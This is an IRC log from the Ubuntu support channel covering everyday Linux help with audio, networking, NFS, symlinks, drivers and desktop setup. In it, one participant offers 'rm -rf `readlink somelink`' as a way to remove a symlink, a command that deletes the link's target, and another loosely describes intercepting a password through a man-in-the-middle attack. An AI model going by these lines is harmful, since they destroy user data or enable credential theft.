jangaHey guys, can you help me out with a Ubuntu 6.10 problem? Sound crashes when i turn up volume over 80%. Hardware is Jetway C7 Mini-ITX, sound is VIA 8237. Not much information on the net...04:14
LilEndianwhat exactly am i doing wrong here? i've turned off all the firewalls on the windows machine04:14
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pr3d4t0rmneptok: I was trying to find something standard, like fwhois.04:14
pr3d4t0run_operateur: HeH.04:14
jannu1how i can disable xterm shortcut ctrl+f ?04:14
un_operateurikonia, i'm reading the XDMCP howto trying to understand it too .. maybe you'll find something in it http://www.faqs.org/docs/Linux-HOWTO/XDMCP-HOWTO.html04:14
LilEndianis there anything i need to do on the ubuntu box for it to get through to the bittorrent ports?04:14
LilEndian!azureus04:14
ubotuazureus is a popular bittorent client written in Java, installation instructions can be found at https://help.ubuntu.com/community/AzureusHowTo04:14
ikoniaun_operateur got no web access - hence why I'm checking some "old" notes04:14
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pr3d4t0rmneptok: It seems like jwhois has GNU-only extensions.04:14
ikoniaLilEndian the problem is with your ICS config - fix that04:14
dumbinteli added emacs and it only runs xemacs how can I run it on the terminal?04:15
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un_operateurikonia, ha .. i see .. :)04:15
sreckoI've got an issue. I did mess with files a little, not sure what... :) I'm sorry, I won't do it again. This is what I get when I try to install using apt-get = dpkg: serious warning: files list file for package `openoffice.org-impress' missing, assuming package has no files currently installed.dpkg: serious warning: files list file for package `openoffice.org-impress' missing, assuming package has no files currently installed.04:15
jangaHey guys, can you help me out with a Ubuntu 6.10 problem? Sound crashes when i turn up volume over 80%. Hardware is Jetway C7 Mini-ITX, sound is VIA 8237. Not much information on the net...04:15
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LilEndianeven when its turned off? if its port forwarding we're talking about, i've set an open UDP/TCP port on the windows machine giving access to this PC to use 'em on the network.04:15
jribsrecko: what files did you mess with?04:15
LilEndianwhat else could go wrong?04:15
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sreckojrib, can't remember, man. I know I'm stupid... :\04:16
pr3d4t0rAh, the main command language options are equivalent to regular whois.  Cool - thanks!04:16
ikoniaLilEndian bottom line is - your network is not configured properly04:16
MarcNI need a cheap wireless G pcmcia card for my myth box.  Any brand recommendations or to stay away from?04:16
pike_LilEndian: 'sudo iptables -L' will probably say accept to inbound forward and outbound ubuntu doesnt really have any rules setup by default so it is likely another problem04:16
nat3I have problem with another lang filename when i want to burn it to cdrom with gnome baker. have any idea to write it?04:16
ikoniaLilEndian its nothing to do with ubuntu04:16
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jribsrecko: try reinstalling the packages it complains about04:16
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mneptokpr3d4t0r: enjoy. great on a cracker. :)04:16
sreckojrib, there's plenty of them :\04:16
un_operateurJayPro, ok, seems like everthing you need is here http://www.faqs.org/docs/Linux-HOWTO/XDMCP-HOWTO.html .. what you are missing is probably that gdm isnt set to listen for XDMCP requests04:16
jribsrecko: that's ok04:16
srecko^04:16
srecko^^04:17
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dumbintelnm got it04:17
M_Fatihi have a problem with vmware server, when my computer starts or i want to start vmware, vmnet-dhcpd process goes to my pc freak.. dhcpd process uses ~~350mb ram and makes my computer useless.. if i don't kill vmnet-dhcpd process, ram not goes free... what is the problem and how can i fix this?04:17
LilEndianikonia, pike_ let me see which one of you is right :D04:17
dumbintelemacs -nw04:17
ikoniaun_operateur thats the stuff - its a check box in in gdm setup screen04:17
ikoniaLilEndian we both said the same thing04:17
un_operateurJayPro, ikonia also .. probably to enable XDCMP support in /etc/X11/gdm/gdm.conf04:17
pike_LilEndian: wait i agree with ikonia i think04:17
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ikoniaun_operateur yup - but then the question is - what do you use to attatch to it ?04:18
JayProhrmm04:18
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ikoniaJayPro very interesting stuff, not done this for ages04:18
sreckook..04:18
un_operateurikonia, I havent come to that section in the howto yet :) .. i think you just connect normally after X-forwarding is enabled04:18
sreckothink I got the problem :)04:19
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ikoniaun_operateur but he's not doing it normally - he's using a client to "launch" an X app04:19
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ikoniaun_operateur I know where your going with how it "should" be done though04:19
JayProikonia yeah, usually i would have left the channel already, but i found your convo with un_operateur interesting hehh04:19
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ikoniaun_operateur I don't think cygwin can do "listen for xdmcp broacasts" or "connect to"04:20
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ikoniaun_operateur I've only seen that done with apps like reflection X, or Exceed or pc-X-ware04:20
ikoniaor another unix X11 server - which is easy04:20
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jribsrecko: what was it?04:21
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un_operateurikonia, well, thats the problem right now, he hasnt got XDMCP support up -- so when he connects to the server, putty puts him in a console .. i presume that if he gets XDMCP support up .. then when he connects via putty he will be sent straight to the GDM screen04:21
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JayProikonia i actually started out by looking for exceed, found that i had to pay for it, so searched for pcxware, then somehow ran into cygwin04:21
ikoniaun_operateur disagree %150 - but lets find out04:21
Hooblymneptok: when I create the /boot partition, do I automatically partition the rest of the "Free Space"?04:21
sreckojrib, just what you need to know (reasons are weird...) - copied the file list file from a computer where the packet is installed04:21
jano_how do I add a different keyboard layout in xubuntu?04:21
jribsrecko: heh, ok04:21
ikoniaun_operateur I am rusty so could be wrong04:22
Hooblymneptok: Do I also have to set the bootable flag?04:22
riotkittiejano_:  in X? or console?04:22
noobcookwhats a good linux website manager?04:22
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ikonianoobcook website manager ???? what04:22
mneptokHoobly: how much RAM?04:22
jano_riotkittie, in x... so that I would have two and be able to switch with alt+shift or so04:22
noobcookikonia: so you can log into your website and change things04:22
noobcooklike frontpage04:22
Hooblymneptok: 256mb04:22
ikonianoobcook a content manager ?04:22
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noobcookikonia: yeh04:23
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srecko;)04:23
ikonianoobcook do you want an application to design webpages - or a content manager ?04:23
dumbintelI'm sorry how do I add some dir to my path?04:23
noobcookcontent manager04:23
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ikonianoobcook thats a web application then - things like jamoola, etomite, modx etc04:24
riotkittiejano_: ahh. i couldnt find that ability in xfce when i tried ...  added the layout directly to xorg.conf instead04:24
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noobcookwhats the smallest most versetile?04:24
mneptokHoobly: | /boot (250MB marked bootable) | swap space (1GB) || LVM | / (10GB) | /home (remainder | ||04:24
jano_riotkittie, how?04:24
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ikonianoobcook personal opinion - research it yourself04:24
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ikonianoobcook most that are small are not versitle04:24
noobcookk04:24
noobcookthats true04:25
noobcookits good to find a balance though04:25
||arifaXwhere can I try to search? guessnet and resolvconf installed here. worked good for a while. now when doing sudo ifup --force eth0 resolvconf does no longer update my dns settings any clue?04:25
ikonianoobcook thats why its personal opinion04:25
Hooblymneptok: I'll try that04:25
riotkittiejano_: are you familiar with editting xorg.conf at all ?04:25
jano_riotkittie, I believe somebody advised me to do so, but it made my keyboard to be like in macs (ctrl+a jumps to the beginnig of a line)04:25
ikonia||arifaX dns server not offering dhcp settings ?04:25
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riotkittieohh04:25
ikonia||arifaX  I meant dhcp server not offering dns settings04:26
riotkittiebrb04:26
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jano_how do I get to my stuff that I have enabled for sharing on different ubuntu machine?04:26
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ikoniajano_ how have you shared it04:26
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jano_ikonia, the sharing dialog (nfs...)04:27
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||arifaXikonia: I get the dns settings from dhcp and not the ones I wrote in my interfaces file, but I get the static IP that I configured. If i stop a lot of things (ifplugd,vmware,resolvconf,eth0..) and restart and play arround sometimes it works fine, but I can not findout a shared issue04:27
ikoniajano_ you need to nfs mount it then04:27
paolohi. how can I automatically start process1 when process2 is killed by an event?04:27
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paoloi mean: i have process2 which is killed by pressing "Esc" key. I want that process1 starts automatically when this occours...04:27
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ikonia||arifaX sory what ou've just said is random - we need solid facts04:27
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Nytyhello04:27
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Nytyi have big problem with debian04:27
jano_ikonia, and how do I do that?04:27
Nytybig trouble04:27
Nyty i cant repair grub04:28
Nytyi cant boot to it04:28
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ikoniaNyty this is #ubuntu support - please join #debian04:28
Nytyi remove disk where is mbr04:28
||arifaXikonia: maybe you can give me some hints which config files I should check or pastebin to verify?04:28
igorhi all!04:28
Nytyits debian04:28
cokeslutHello04:28
ikoniajano_ !nfs | jano_04:28
Nytyi`m here only from live distribution04:28
Nytyi dont like ubuntu04:28
ikonia||arifaX can't give you any hints as you've not told me any facts04:28
savvasi need the gpg key of the wine repository: wine.budgetdedicated.com - can anyone help me find it?04:28
Nytyin repair cd is problem with IRssi04:28
ikoniaNyty then join #deibna04:28
Nytyahhh04:28
ikoniaNyty #debian sorry04:28
Nytyi`m on #ubuntu, sorry04:28
Nyty:-004:28
Nyty:-)04:28
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jano_!nfs04:28
ubotunfs is the network file system. See https://help.ubuntu.com/community/SettingUpNFSHowTo for information on installing and configuring NFS.04:29
ikoniaNyty shut up - you've just said your on debian and you hate ubuntu04:29
ikoniathats not an accident04:29
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sreckoeeerm04:29
||arifaXikonia: how looks a default /etc/host.conf04:29
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cokeslutconfidential04:29
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ikonia<Nyty> i dont like ubuntu04:29
ikoniaetc04:29
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Nyty:-)04:29
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ikonia||arifaX different for different hosts04:29
ikoniaNyty join #debian04:30
user-landThe updates work well here, thank you all :-)04:30
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Nytyi`m here04:30
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Nytyi`m there04:30
||arifaXNyty: does not like it he/she loves it :)04:30
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ikonia'whois Nyty04:30
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NoIzErhi guys, I have some problems modprobing ndiswrapper04:30
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y3it221_klcecan anyone suggest me some projects in Socket Programming (in C)04:31
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ikoniay3it221_klce /join #ubuntu-offtopic - or #c04:31
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=== Maximilian1st Hi folks.
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savvasi need the gpg key of the wine repository: wine.budgetdedicated.com - can anyone help me find it?04:32
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ikoniasavvas ask the site maintainer04:32
mneptoksavvas: Google?04:32
savvasmneptok: i already tried that04:33
ikoniasavvas just ask the maintainer04:33
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savvasbut haven't asked the maintainer, that's a good idea ;p04:33
savvasthanks04:33
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ikoniawhy is this channel a "how do I wipe my bum" place04:34
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Azulwhy don't the maintainer just posts it somewhere so he don't get tons of emails04:34
mnoirikonia: cuz folks are willing to do the wiping?04:34
mneptokjust to touch the bum.04:35
mneptok</inside_voice>04:35
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savvasAzul: that was my question too, but i guess i'll ask him :P04:35
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piaohow to set gedit default encoding?  thank you !04:36
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avalonIs it possible to use ubuntu as a router/internet firewall on an old computer?04:36
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Azulavalon, any linux can do that04:36
mnoiravalon: use IPCOP - it is preset to do this and meant for old machines04:36
savvas!iptables | avalon04:36
ubotuavalon: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).04:36
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avalonIPCOP looks good and all, but it looks rather difficult to configure to the settings I'd need. They're rather advanced.04:37
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thartmanSay I want to install mysql 4.0.20, which is very old, no longer supported, but I need it to match something I have in production. can I do this with apt-get?04:37
thartmanapt-cache search doesn't find it for me.04:37
thartmanbut I don't know much about apt.04:38
mnoiravalon: i am surprised - it is doing some very heavy duty things in the world04:38
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mnoiravalon: it would be easier to make ipcop behave for you than ubuntu since it is already set up for the task04:38
thartmanis there a package search engine I could use to find it?04:38
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avalonI'd need to take a connection split it from a cable modem between two computers. One of them would only have access to the internet and 10 kb of torrent download speed. The other would have no limit on DL speed.04:38
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Azulthartman, google04:38
hakrzcodethartman, if you really need this, then I would suggest to install vmware, and install an old dist. You will not find an old version of mysql on apt, due to library dependencies.04:38
mnoiravalon: that is built in already04:39
thartmanyeah, it would help.04:39
avalonIt's built into IPCOP to control bandwith to specific IPs?04:39
mnoiryes04:39
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thartmaninteresting, if I install an old dist can I then do apt-cache search and it will be found?04:39
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pike_thesaint: warty i believe has it04:41
hakrzcodethartman, there is a possiblity, but it would depend on the mirror still keeping a mirror of that dists files. You might have luck.04:41
pike_thartman: wong nick ^04:41
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hakrzcodethartman, I would bring up the mirror list, and manually ftp over to there, and check out the possibility.04:41
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n33oI have a problem.. my ubuntu install is sitting at 640x480 on gui.. gnome.. but it gives me no option to change in the gui only 640x480.. any ideas how to fix this ?04:42
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pike_!fixres> n33o04:42
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ubotun33o: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto04:42
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krzysiekHi04:42
pradeepvglughydSai Kaka unnava04:42
Dextorionhi04:42
sivajiif i try to compile a program  MinGwStudio window get closed ple tell me what to do?04:42
krzysiekWhy I cant copy from windows share on fat32 ??04:42
krzysiekAny help ?04:42
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mnoir!ntfs | krzysiek04:43
ubotukrzysiek: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse04:43
thartmanharzcode: how do I bring up the mirror list?04:43
hakrzcodekrzysiek, permissions.04:43
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hakrzcodethartman, hold on. I will pass the debian, and ubuntu list.04:43
thartmanmuch obliged.04:43
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krzysiekhakrzcode: no, I can copy file from windows share on my home which is on ext304:44
noobcookwhats the command to unpack a tarball again04:44
krzysiekhakrzcode: and I can copy from my home to fat32 which is under /media/fat3204:44
thartmannoobcook tar -xzvf file.tar.gz04:44
noobcookty04:44
thartmannoobcook: or tar -xvf file.tar04:44
krzysiekhakrzcode: however I cant copy from windows share to that fat3204:44
thartmanif it's not gzipped.04:44
noobcookk04:44
BluedogHow can you make transparent terminal windows show the window below, not the desktop, anyone know?04:44
krzysiekhakrzcode: any idea ?04:44
Bluedogwould be useful for copying in commands etc04:44
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Azulcuz linux can handle fat32 better than windows04:44
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hakrzcodekrzysiek, check local permissions on the file, and parent folders. Alot of this, is due to local permissions, overriding smb permissions.04:45
sivajitar -zvxf file.tar.gz04:45
sivajitar -jxvf file.bz204:45
sivajiunzip file.zip04:45
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krzysiekhakrzcode: but file apears however it has 0 bytes04:45
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zlajai just installed ubuntu on nx9010 laptop. however there is a problem with blender app. if i do right mouse click, screen goes all abstract. #blender ppl say it must be driver problem. please msg me..04:45
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krzysiekhakrzcode: I can copy on ext3 however when I try to copy from samba on fat32 files have 0 bytes04:46
hakrzcodekrzysiek, if the fat32 is on your linux, then I would probably say that you have some kind of problem,that is causing the linux to remount it as read only. I had this problem, due to invalid UTF8.04:46
Azulif it's 0 bytes then there is nothing to extract04:46
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Azulgo get it again04:46
krzysiekAzul: its just an mp304:46
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riotkittieBluedog: you need transparency enabled. i do it with xcompmanager and transset04:46
thartman04:46
krzysiekAzul: I want to copy from my windows share04:46
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riotkittieBluedog: if you search the forums for transparent terms, you should find a how-to04:47
baratahey ... how to fix Ubuntu exclusive sound problem? I mean when 1 app is using it, automatically it locks the other app IF the app is still running (although it stops playing)04:47
Azulkrzysiek, but it's 0 mb04:47
Azulthat means there is no music in it04:47
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Azul!transparent04:47
barataI've chmod /dev/dsp ;; and still cannot fix it04:47
ubotuSorry, I don't know anything about transparent - try searching on http://bots.ubuntulinux.nl/factoids.cgi04:47
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krzysiekAzul: yes04:47
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krzysiekAzul: why this happens only when copying from samba on fat32 ?04:48
Azulkrzysiek, so go get another copy04:48
krzysiekAzul: What ?04:48
krzysiekAzul: :)04:48
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klaxiancan anyone help with a compiz question?04:48
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roxluhi all04:48
roxluhow can I remove a "ln -s" which I created?04:48
Azulkrzysiek, never mind.. it seems impossible for me to help you04:48
savvas`/part04:48
krzysiekAzul: I dont need that file, sure I can burn them.. however I just want to be able to copy from windows share to fat3204:48
savvasoops04:48
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sivajiis there any ide similar to ms visual studio in kde04:49
roxlujrib: do you know? or kan I just do a "sudo rm [linkname] " ?04:49
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hakrzcodethartman: debian: http://www.debian.org/mirror/list :ubuntu: http://www.ubuntu.com/products/GetUbuntu/downloadmirrors04:49
pike_sivaji: dunno but alot of people like kdevelop04:49
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noobcooketomite is hard to install04:50
noobcooklol04:50
noobcookdo i compile it?04:50
noobcookits all .php04:50
hakrzcodethartman: at the risk of getting banned, I would check out the debian warty reference from above.04:50
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Azulnoobcook, no, you run a server on your computer then open firefox and type localhost/etomite04:50
thartmanharzcode: that was really helpful.04:51
noobcookAzul:  what if im trying to connect to my work server04:51
Azulread the installation procedure, it cannot be posted in a chat room04:51
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Azultoo long04:51
Azulput the etomite files on the work server04:51
ioteHi there, is it normal behavior in ubuntu that when I "chvt 1" then "chvt 7" my X session is restarted?04:51
Azulbut really, read the installation procedure and you'll get it to work fine04:51
klaxiandoes anyone run compiz?  i'm have it working really well except one tiny annoyance...i was hoping someone could help04:51
Azulklaxian, don't ask to ask a question, just ask your question04:52
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klaxianAzul: alrighty :)04:52
noobcookAzul: ok i was hoping for a way to be able to connect without any server side files?04:52
jribroxlu: yes04:52
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hakrzcodethartman: np.04:52
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roxlujrib: so just rm [linkname]  ?04:53
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klaxianso I have compiz installed and working well.  the problem is that when some windows are created, they appear with no menus and they dont show input (typing or mouse clicks)04:53
jribroxlu: yes04:53
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klaxianI can resize the window a little and it will then behave normally04:53
roxluthanx! (and only the link is remove? ) sorry.. I need to know ti really sure.. kind of important data04:53
riotkittieiote: is this happening when you change before the X session has fully started?04:53
ppiantaanyone got 'keyring manager' working in edgy?04:53
klaxianit doesn't happen all the time, but pretty frequently04:53
klaxianany ideas?04:53
ppiantai don't see anyway to add a key04:53
riotkittieor after the session's well established?04:53
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hakrzcodeiote: changing the foreground of the virtual terminal, where X is running, causing it to be reset? I would probably say so.04:54
klaxiani'm using the official compiz packages from feisty04:54
ppiantaroxlu, i just got here - what is your question?04:54
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n2diyanybody know of a meal planner for Ubuntu?04:54
mnoirklaxian: not to be unfriendly, but the group for xgl product support is #ubuntu-xgl.  plus you are crossing releases which is at best unwise and feisty support is in #ubuntu+104:54
daftmanmeal planner?04:55
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roxluhow can I remove a "ln -s" which I created?04:55
daftmanwhat is a meal planner?04:55
daftmanroxlu rm04:55
MarcNroxlu: rm file04:55
apokryphosroxlu: rm somelink04:55
ppiantayou can safely remove a symbolic link by just typing rm mylink04:55
roxluoke great! thanx04:55
klaxianmnoir: thanks for the info...i'll ask in that channel, but i'm not crossing releases :)04:55
klaxianmnoir: also #ubuntu+1 is dead04:56
ppiantawatchout for the tab completion if it is a directory - it will give rm mylink/04:56
ppiantawhich will not work04:56
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daleth /window close04:56
hakrzcoderoxlu: rm -f "link"04:56
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ppiantathe slash will give an error04:56
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aigariusis there a problem with this weeks kerne update in edgy breaking nvidia support? I forced the upgrade and the nvidia driver got uninstalled04:56
mnoirklaxian: sorry - feisty is ot in this group04:56
roxluhakrzcode: gonna read that option...04:56
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daftmanrm -rf `readlink somelink`04:57
ppiantaroxlu, -f is force04:57
ppiantameans no prompt 'r u sure?'04:57
hakrzcoderoxlu, the -f option is my bad habit. Do not do it, as a rule. sorry04:57
roxluoh oke04:57
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ppiantaso anyone use 'keyring manager' in gnome?04:58
P3L|C4N0greetings04:58
riotkittiehello P3L|C4N004:58
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hakrzcodeppianta, yes, it is neccesary, if you wish to encrypt files, or email.04:59
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daftmananyone experienced something wrong with gconf?05:00
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paolowell i have to write some code. do you know which is the C function equivalent to pidof, and its header?05:00
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Azulpaolo, try #C05:01
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theflyingfoolhow do i change which volume control the volume key on my keyboard changes05:01
paolohi. i need to see if a process (unknown PD and known name "myprocess") is active. which function (posix, i guess) should i use? thnks05:02
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daftmanlol goodluck theflyingfool05:02
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theflyingfooldaftman: that doesnt sound like good news...05:02
daftmanit is not easy because you need to detect your keyboard05:02
iotehakrzcode: not sure what you mean by "changing the foreground". it just that when i switch the terminal to 1 than back to 7 it restarts X w no apparent reason like xgl, dri.. actually, ie disabled all those and it still happens... also, its just an Intel 82865G... nothing gets logged... very weird05:02
ppiantahakrzcode, r u able to add a key to it yourself manually?05:03
daftmanare you using a laptop or a usb keyboard05:03
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theflyingfooldaftman: usb keyboard,05:03
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daftmanthen you need to find out the driver for that usb keyboard05:03
theflyingfooldaftman : it shows that its changing volume its just changing the wrong volume05:03
striggaHey Guys.. I have finally gotten my NVidia Drivers up and running, also supporting my two monitors. I read on the net that Ubuntu should be able to cope with the two monitors and be able to maximize to one screen - which it doesn't.. Any clue where to start?05:03
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hakrzcodeiote, do a "man chvt", it is informative.05:03
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daftmanah so it does detects it?05:03
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ppiantastrigga, twinview05:04
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theflyingfooldaftman: yeah, i just need to change which volume it changes05:04
daftmanwhat does it mean by it changing the wrong volume?05:04
ppiantai think that is what you need - i have ati05:04
daftmancheck keyboard binding in administration05:04
riotkittiegpm! sweet.05:04
Hmmmmdaftman, what's wrong wiht gconf?05:04
strigga@Ppianta. Is installed. Both monitors are running, but maximizing goes over both screens.05:04
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Hairballanyone know why my user/pass would get rejected trying to map to a samba share from xp ?05:05
theflyingfooldaftman: it changes "master mono" which doesnt affect volume, i need it to change "PCM"05:05
daftmanHmmm: "gconf not doing anything" Gconf exiting05:05
iotehakrzcode: well not here... just 10 lines teaching how to do a ctr+alt+whateverterminal05:05
hakrzcodeppianta, yes, I can. you can make your keys, and such through seahorse.05:05
striggappianta. Or is there anything to configure in twinview?05:05
ppiantastrigga, oh ok - out of my league sorry05:05
ppiantahakrzcode, what is seahorse05:05
ppianta?05:06
daftmanHmmm: it basically just crash once every often05:06
noobcookhakrzcode: ive got a program on my win partition that connects to a private irc server under a password, in linux i can find that password and server?05:06
aigariusjust FYI - this week one of the xgl/beryl repositories f*cked up a bit and thus caused an upgrade problem for NVidia binary driver users of edgy that have those repositories enabled05:06
hakrzcodeiote, it does not do the same thing as ctl-alt-f{1-9}. It is for cleaning up unused terminals. Basically resetting the vt.05:06
daftmantheflyingfool: check you keyboard binding in administration - I haven't muck around with it much so I can't tell you exactly where05:06
riotkittienoobcook: what irc program are you using under win?05:07
daftmannoobcook: y are you still on so late?05:07
theflyingfooldaftman:  im not quite sure what that means but it detects all my keys, and they all work just not on the right things05:07
noobcookdaftman: i stuffed up my body clock05:07
hakrzcodenoobcook. keys are a 0ne way encryption. There is no way to extract passwords from keys.05:07
noobcookriotkittie: its some custom thing05:07
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riotkittieah05:07
daftmantheflyingfool: I am not on my ubuntu box at the momment but go into adminstration tab and tell me wha tyou see05:07
hakrzcodeppianta, it is key manager.05:08
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noobcookhakrzcode: so i cant tcp dump outgoing data and get the encrypted password?05:08
daftmantheflyingfool: either that or "preferences"05:08
ppiantahakrzcode, ok i see what seahorse is - but i thought i should be able to see at least some keys in gnome-keyring-manager by default - i connect to remote servers with the 'Connect Server' option and don't want to keep entering the password05:08
theflyingfoolunder the preferences on keyboard it doesnt allow me to switch it05:08
riotkittiegahhhh. this is what i get for not checking md5 ;\05:08
theflyingfooli've messed around with almost every setting for it05:08
Azuli gotta get off this computer and start doing work05:08
iotehakrzcode: The  command chvt N makes /dev/ttyN the foreground terminal. The corresponding screen is created if it did not  exist  yet.  To  get  rid  of unused VTs, use deallocvt.05:09
daftmantheflyingfool: in that tab there is a keyboard setting which you can use to bind your keyboard keys like sleep function05:09
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theflyingfoolthe keyboard shortcuts under pref05:09
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hakrzcodenoobcook, no, you cannot. keys are not the same as passwords.05:09
iotehakrzcode: quoted from the man05:09
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daftmantheflyingfox: and it still doesn't work?05:09
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hakrzcodeiote, yes.05:09
theflyingfooland they are set to volume up and volume down, but it doesnt change the right setting in my volume05:09
MrScrewedI have a quick question.05:10
iotehakrzcode: it does exactly the same thing as ctrl+alt+whateverterminal05:10
noobcookhakrzcode: because some peepole in the past have connected to the server threw a normal irc client, a breech of contract but yeh, how do they do it?05:10
riotkittieMrScrewed: and that question would be? :P05:10
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BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?05:10
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daftmantheflyingfool: I guess you might have to google it. i am sure it isn't that hard. Have you tried looking at the gnome-volume-manager?05:10
MrScrewedWhat are the average system requirements to run ubuntu?05:11
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iotehakrzcode: anyway, a ctrl+alt+whateverscreen shouldnt cause X to restart, wich does in my case...05:11
daftmantheflyingfox: that controls the volume, so try googling that.05:11
riotkittieMrScrewed: i'm not really sure. how low are  your specs?05:11
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theflyingfooldaftman: i've looked at almost everything, but ill google volume control05:12
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BrendanMYou could try Xubuntu for a low-spec machine05:12
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mrlinuxwhen i search for gparted in my add remove programs under apps  it says it's not there05:12
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hakrzcodenoobcook, they can do a man in the middle, where they capture the traffic, from the beginning of the handshake, and then they will change the keys for their keys, therefore they can decrypt from one side, and encrypt for the other side. But, then again, go to offtopic if you wish to discuss this.05:12
daftmanMrScrewed: You should get at leaste a P4 1.5 GHz and 512 ram to get nice feel to the GUI05:12
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?05:12
noobcookok05:13
Li`lEndianwhat is wrong with this statement:  update-rc.d iptables_azureus start 51 S05:13
riotkittiemrlinux: perhaps its under system > administration?05:13
BigToedaftman, I dunno... I run a 2.6 celeron with 256mb ram and it runs quite fast05:13
daftmannoobcook: you still want to hack my computer?05:13
BigToemuch better than windows anyway05:13
BrendanMXubuntu runs pretty decent on my PIII w/128 megs of ram05:13
noobcookdaftman: hahahaha =p05:13
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noobcookgimi root05:13
Li`lEndianthe command just outputs the syntax instead of running it05:13
mrlinuxriotkittie, nope  i am running edubuntu05:13
riotkittieim running it on a pIII 750mhz, 256mb ram05:13
noobcooki cant even get the program i compiled to work daftman =(05:13
daftmannoobcook: I will but I will also contact the ASIO05:13
noobcookLOL05:13
riotkittiemrlinux: can you start it from a command line?05:14
noobcook^^05:14
BrendanMHello all, is there anyone here who's good with networking or VPN in particular? I've been having some trouble and I posted to the forum but haven't gotten any responses: http://ubuntuforums.org/showthread.php?t=33637505:14
mrlinuxi am running PIII 350mhz 1gb sdram05:14
daftmanriotkitty: I used to have that but I feel it is so sluggy05:14
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daftmanmrlinux: why put so much ram on a crappy machine05:14
riotkittieive got slackware on a 333mhz amd k-6 192mb ;p05:14
mrlinuxriotkittie, what is the command to run it from terminal05:15
daftmanslackware? you get into the gui?05:15
MrScrewedI have a machine that I want to just run it alone... it's a PII 250 with 128 mb I just wonder if that's enough for it to run05:15
mrlinuxdaftman, i am upgrading my processor today05:15
daftmanMrScrewed yea it is enough to run Xubuntu05:15
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riotkittiemrlinux: try alt+f2 then gksudo gparted05:16
daftmanMrScrewed: if you want you can install fluxbox instead of the *buntus05:16
BrendanMMrScrewed, I'd go with Xubuntu not regular Ubuntu05:16
BrendanMFluxbox would be even faster than Xfce05:16
mrlinuxriotkittie, didn't do nothing05:16
BrendanMbut I don't care for it much05:16
daftmanif you have a p2 I would use it as a fileserver or a firewall hehehehe05:17
riotkittiei have xfce installed along with a few others. xfce on ubuntu fails to impress me.05:17
riotkittie:/05:17
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riotkittiemrlinux: then "sudo apt-get install gparted"05:17
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daftmanyou are right riotkittie05:17
daftmanxubuntu is very sluggish on ubuntu05:17
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MrScrewedyeah that's all I want it to do is pretty much store files and allow me to learn command line based Linux05:17
striggaTraing again :) :Hey Guys.. I have finally gotten my NVidia Drivers up and running, also supporting my two monitors. I read on the net that Ubuntu should be able to cope with the two monitors and be able to maximize to one screen - which it doesn't.. Any clue where to start?05:17
deepsacan someone tell me what's this for http://bugs.beryl-project.org/browser/branches/beryl-plugins/thumbnail2/thumbnail_tex.h05:17
BrendanMthen just do a server installation and forget about the GUI05:18
daftmanMrScrewed if so then just install a Command line version of ubuntu05:18
daftmanyou don't need X05:18
striggaTwinview is working fine, just maximizing goes over 2 screens05:18
paolowell, another question i have to control if two process are active (i can use pidof). if they aren't active I have to control the same thing after 3 seconds. if they aren't active yet I have to launch another process05:18
daftmanIt is the GUI that will be eating your resources05:18
riotkittiedaftman: i did not know how sweet xfce could be until i installed zenwalk on my 2nd linux partition05:18
riotkittiethe difference is insane05:18
JowiMrScrewed, yeah that will do. check out this https://help.ubuntu.com/community/Installation/LowMemorySystems05:18
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MrScrewedyeah but I feel that I need X at least to get familiar with completely dropping xp period.05:18
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Vuenstrigga: what version of the drivers do you have installed?05:19
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ppiantastrigga, what is the nvidia command line tool they provide for configuring the driver05:19
ppianta?05:19
daftmanif you use CLI, you would never need to use X05:19
daftmanriotkittie: how different? like major different?05:19
Vuenstrigga: the latest stable 9xxx series will maximize to one screen, i'm using it right now. you may need to update your drivers. the ones in the repo are not the newest ones, not by a long shot05:19
riotkittiethere are times when X comes in handy. for like. viewing certain webpages :P05:19
irvhow can I tell what video card I have on board (without opening the case)?05:20
Vuenstrigga: hold on05:20
daftmanriotkitty heheheheh yes05:20
MrScrewedwell all I want is a basic installation with network support and I want to figure out the rest.05:20
JowiMrScrewed, follow that link and install just the base Xorg with a light window manager. it works fine on low end systems.05:20
striggavuen. I have a 7900GT05:20
n2diyMrScrewed: Pentium Irv lshw05:20
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Vuenstrigga: yes but what version of the drivers?05:20
neghsmoke!ati > neghsmoke05:20
MrScrewedwhat distro would you recommend for a system so slow?05:20
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striggavuen hang on05:20
n2diyIrv, lshw05:20
daftmanMrScrewed if you really want to play lowspec: get DSL05:20
JowiMrScrewed, https://help.ubuntu.com/community/Installation/LowMemorySystems05:20
riotkittiedaftman: the performance difference is ...  it's like a completely different machine. i cant describe it, but it's nice.05:20
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striggavuen 1.0-877605:21
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daftmanwhat is zenwalk like riotkittie? Is it another distro?05:21
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Vuenstrigga: yeah those are too old. follow the instructions here: http://wiki.beryl-project.org/wiki/Install_Beryl_on_Ubuntu_Edgy_with_nVidia#Installing_the_nVIDIA_Beta_Driver05:21
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mrlinuxriotkittie, ok thx it works05:21
Vuenstrigga: but ONLY do step 2, don't continue with the beryl installation05:21
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striggavuen thanks. will give it a try05:21
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striggavuen ok05:22
rafinHello, want to buy a new mainboard (Asrock 775Dual-VSTA), but need to know which kernel current release Ubuntu has?05:22
riotkittiedaftman: yeah, it's another distro - based on slackware, but without what some consider to be the bloat.05:22
daftmanooo zenwalk is based on slackware05:22
daftmanlol and i thought slackware is slim05:22
Vuenstrigga: basically all you need to do is add that repository, then apt-get update and upgrade. then restart x with ctrl+alt+backspace, then gksudo nvidia-settings, set it up as you want and then save settings to x config file05:22
Vuenstrigga: and that's it.05:22
MrScrewedI have cable but I'm just trying to get the damn thing to install to see if it will at least run05:22
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BrendanMSo does anyone here use Network Manager to do PPTP VPN connections?05:23
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riotkittiemy zen partition takes up 1.4 gb ;p05:23
mrlinuxi got a wierd question for ya guys   when you get a standard MP3 player (Not a Damn Piece of crap IPOD) shouldn't the partition on it be a fat filesystem05:23
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Jowiyes mrlinux05:23
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daftmanlol riotkittie man zenwalk sounds nice: I think I'l download it and put in on my old comp and donate it to the local church05:24
